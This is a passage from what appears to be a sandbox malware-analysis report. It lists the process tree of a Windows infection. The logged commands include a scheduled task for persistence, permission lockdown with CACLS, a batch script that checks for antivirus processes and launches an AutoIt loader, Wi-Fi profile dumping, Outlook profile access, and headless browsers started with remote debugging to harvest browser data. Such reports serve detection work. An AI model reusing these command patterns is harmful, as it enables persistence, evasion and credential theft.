                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 960
                                        7⤵
                                        • Program crash
                                        PID:3932
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 1076
                                        7⤵
                                        • Program crash
                                        PID:5512
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 1084
                                        7⤵
                                        • Program crash
                                        PID:3120
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 1132
                                        7⤵
                                        • Program crash
                                        PID:5200
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 1124
                                        7⤵
                                        • Program crash
                                        PID:5936
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 1076
                                        7⤵
                                        • Program crash
                                        PID:6096
                                      • C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe
                                        "C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:5460
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 612
                                          8⤵
                                          • Program crash
                                          PID:2712
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 832
                                          8⤵
                                          • Program crash
                                          PID:5720
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 964
                                          8⤵
                                          • Program crash
                                          PID:1376
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 972
                                          8⤵
                                          • Program crash
                                          PID:5844
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 900
                                          8⤵
                                          • Program crash
                                          PID:1276
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 976
                                          8⤵
                                          • Program crash
                                          PID:3392
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1080
                                          8⤵
                                          • Program crash
                                          PID:6104
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN znlbv.exe /TR "C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe" /F
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:4904
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 952
                                          8⤵
                                          • Program crash
                                          PID:5944
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 700
                                          8⤵
                                          • Program crash
                                          PID:3608
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "znlbv.exe" /P "Admin:N"&&CACLS "znlbv.exe" /P "Admin:R" /E&&echo Y|CACLS "..\bjntj3tj3t" /P "Admin:N"&&CACLS "..\bjntj3tj3t" /P "Admin:R" /E&&Exit
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3044
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3004
                                          • C:\Windows\SysWOW64\cacls.exe
                                            CACLS "znlbv.exe" /P "Admin:N"
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:2924
                                          • C:\Windows\SysWOW64\cacls.exe
                                            CACLS "znlbv.exe" /P "Admin:R" /E
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3760
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3732
                                          • C:\Windows\SysWOW64\cacls.exe
                                            CACLS "..\bjntj3tj3t" /P "Admin:N"
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5540
                                          • C:\Windows\SysWOW64\cacls.exe
                                            CACLS "..\bjntj3tj3t" /P "Admin:R" /E
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5172
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1236
                                          8⤵
                                          • Program crash
                                          PID:3148
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 692
                                          8⤵
                                          • Program crash
                                          PID:1496
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 668
                                          8⤵
                                          • Program crash
                                          PID:2028
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 700
                                          8⤵
                                          • Program crash
                                          PID:1484
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1092
                                          8⤵
                                          • Program crash
                                          PID:3988
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1252
                                          8⤵
                                          • Program crash
                                          PID:2716
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1468
                                          8⤵
                                          • Program crash
                                          PID:4476
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1472
                                          8⤵
                                          • Program crash
                                          PID:5976
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 972
                                          8⤵
                                          • Program crash
                                          PID:3916
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 1608
                                          8⤵
                                          • Program crash
                                          PID:2328
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 872
                                        7⤵
                                        • Program crash
                                        PID:5728
                                    • C:\Users\Admin\AppData\Local\Temp\10010640101\KB0raTZ.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10010640101\KB0raTZ.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      PID:4224
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c copy Alloy.rtf Alloy.rtf.bat & Alloy.rtf.bat
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:808
                                        • C:\Windows\SysWOW64\tasklist.exe
                                          tasklist
                                          8⤵
                                          • Enumerates processes with tasklist
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1644
                                        • C:\Windows\SysWOW64\findstr.exe
                                          findstr /I "opssvc wrsa"
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:1852
                                        • C:\Windows\SysWOW64\tasklist.exe
                                          tasklist
                                          8⤵
                                          • Enumerates processes with tasklist
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1156
                                        • C:\Windows\SysWOW64\findstr.exe
                                          findstr "nsWscSvc ekrn bdservicehost SophosHealth AvastUI AVGUI & if not errorlevel 1 Set DZjyMfGGdcQPieGhynnYoRsdNxjq=AutoIt3.exe & Set eeoUisIZRaLixvhtpoGzmcfaoVRtGlP=.a3x & Set imWV=300
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3248
                                        • C:\Windows\SysWOW64\extrac32.exe
                                          extrac32 /Y Consolidation.rtf *.*
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5476
                                        • C:\Windows\SysWOW64\findstr.exe
                                          findstr /V "capital" Cnn
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5200
                                        • C:\Users\Admin\AppData\Local\Temp\314446\Milan.com
                                          Milan.com h
                                          8⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:3468
                                        • C:\Windows\SysWOW64\choice.exe
                                          choice /d n /t 5
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5900
                                    • C:\Users\Admin\AppData\Local\Temp\10011350101\QDigbce.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10011350101\QDigbce.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Accesses Microsoft Outlook profiles
                                      • Checks processor information in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5296
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                        7⤵
                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                        PID:2792
                                        • C:\Windows\system32\chcp.com
                                          chcp 65001
                                          8⤵
                                            PID:4052
                                          • C:\Windows\system32\netsh.exe
                                            netsh wlan show profile
                                            8⤵
                                            • Event Triggered Execution: Netsh Helper DLL
                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                            PID:1868
                                          • C:\Windows\system32\findstr.exe
                                            findstr All
                                            8⤵
                                              PID:6024
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --disable-gpu --disable-logging
                                            7⤵
                                            • Uses browser remote debugging
                                            • Drops file in Windows directory
                                            • Enumerates system info in registry
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of FindShellTrayWindow
                                            PID:2072
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fff4cb7dcf8,0x7fff4cb7dd04,0x7fff4cb7dd10
                                              8⤵
                                                PID:2404
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1936,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=1928 /prefetch:2
                                                8⤵
                                                  PID:3652
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2116,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=2112 /prefetch:11
                                                  8⤵
                                                    PID:4624
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2248,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=2244 /prefetch:13
                                                    8⤵
                                                      PID:5076
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3020,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=3016 /prefetch:1
                                                      8⤵
                                                      • Uses browser remote debugging
                                                      PID:4904
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3044,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=3040 /prefetch:1
                                                      8⤵
                                                      • Uses browser remote debugging
                                                      PID:4772
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4128,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=4124 /prefetch:9
                                                      8⤵
                                                      • Uses browser remote debugging
                                                      PID:4420
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4520,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=4516 /prefetch:1
                                                      8⤵
                                                      • Uses browser remote debugging
                                                      PID:4576
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5064,i,7427376158625824172,16120029993475254239,262144 --disable-features=PaintHolding --variations-seed-version=20250618-180047.684000 --disable-logging --mojo-platform-channel-handle=5060 /prefetch:14
                                                      8⤵
                                                        PID:688
                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                                      7⤵
                                                        PID:3876
                                                        • C:\Windows\system32\chcp.com
                                                          chcp 65001
                                                          8⤵
                                                            PID:5876
                                                          • C:\Windows\system32\netsh.exe
                                                            netsh wlan show networks mode=bssid
                                                            8⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:1596
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --disable-gpu --disable-logging
                                                          7⤵
                                                          • Uses browser remote debugging
                                                          • Drops file in Windows directory
                                                          • Enumerates system info in registry
                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                          • Suspicious use of FindShellTrayWindow
                                                          PID:3780
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x260,0x7fff3a98f208,0x7fff3a98f214,0x7fff3a98f220
                                                            8⤵
                                                              PID:3708
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2088,i,10609887917834868240,867601958814593531,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2080 /prefetch:2
                                                              8⤵
                                                                PID:2716
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2144,i,10609887917834868240,867601958814593531,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2140 /prefetch:11
                                                                8⤵
                                                                  PID:1980
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2572,i,10609887917834868240,867601958814593531,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2568 /prefetch:13
                                                                  8⤵
                                                                    PID:2776
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3440,i,10609887917834868240,867601958814593531,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3436 /prefetch:1
                                                                    8⤵
                                                                    • Uses browser remote debugging
                                                                    PID:1748
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3484,i,10609887917834868240,867601958814593531,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3444 /prefetch:1
                                                                    8⤵
                                                                    • Uses browser remote debugging
                                                                    PID:4696
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ba607dd0-586d-4e8b-800b-2c893e1abe02.bat"
                                                                  7⤵
                                                                    PID:5600
                                                                    • C:\Windows\system32\chcp.com
                                                                      chcp 65001
                                                                      8⤵
                                                                        PID:5220
                                                                      • C:\Windows\system32\taskkill.exe
                                                                        taskkill /F /PID 5296
                                                                        8⤵
                                                                        • Kills process with taskkill
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2076
                                                                      • C:\Windows\system32\timeout.exe
                                                                        timeout /T 2 /NOBREAK
                                                                        8⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:5876
                                                                  • C:\Users\Admin\AppData\Local\Temp\10012280101\ZwUnsXn.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10012280101\ZwUnsXn.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:3316
                                                                  • C:\Users\Admin\AppData\Local\Temp\10012300101\cYnH9t8.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10012300101\cYnH9t8.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • Accesses Microsoft Outlook profiles
                                                                    • Checks processor information in registry
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    • outlook_office_path
                                                                    • outlook_win_path
                                                                    PID:5276
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                                                      7⤵
                                                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                                                      PID:2208
                                                                      • C:\Windows\system32\chcp.com
                                                                        chcp 65001
                                                                        8⤵
                                                                          PID:952
                                                                        • C:\Windows\system32\netsh.exe
                                                                          netsh wlan show profile
                                                                          8⤵
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                          PID:5856
                                                                        • C:\Windows\system32\findstr.exe
                                                                          findstr All
                                                                          8⤵
                                                                            PID:3144
                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                                                          7⤵
                                                                            PID:652
                                                                            • C:\Windows\system32\chcp.com
                                                                              chcp 65001
                                                                              8⤵
                                                                                PID:4588
                                                                              • C:\Windows\system32\netsh.exe
                                                                                netsh wlan show networks mode=bssid
                                                                                8⤵
                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                PID:5896
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --disable-gpu --disable-logging
                                                                              7⤵
                                                                              • Uses browser remote debugging
                                                                              • Drops file in Windows directory
                                                                              • Enumerates system info in registry
                                                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              PID:3676
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fff3906dcf8,0x7fff3906dd04,0x7fff3906dd10
                                                                                8⤵
                                                                                  PID:4808
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2320,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2316 /prefetch:11
                                                                                  8⤵
                                                                                    PID:1580
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2276,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2268 /prefetch:2
                                                                                    8⤵
                                                                                      PID:1304
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2444,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2428 /prefetch:13
                                                                                      8⤵
                                                                                        PID:5340
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3156 /prefetch:1
                                                                                        8⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:1908
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3184,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3180 /prefetch:1
                                                                                        8⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:2688
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
